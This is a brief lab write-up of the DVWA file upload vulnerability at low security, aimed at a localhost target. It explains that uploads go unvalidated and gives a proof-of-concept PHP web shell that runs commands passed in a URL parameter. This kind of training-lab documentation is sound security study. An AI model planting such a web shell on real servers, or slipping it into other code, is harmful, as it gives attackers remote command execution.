dvwa\_file\_upload.md 2025-09-26

## DVWA — File Upload (low)

**Target:** http://127.0.0.1/dvwa/vulnerabilities/upload/

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## Summary

DVWA's file upload function does not validate file type or sanitize uploaded content. This allows arbitrary files (including scripts or web shells) to be uploaded and executed.

## PoC (reproducible)

**Payload:** shell.php with contents:

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<?php system($_GET['cmd']); ?>
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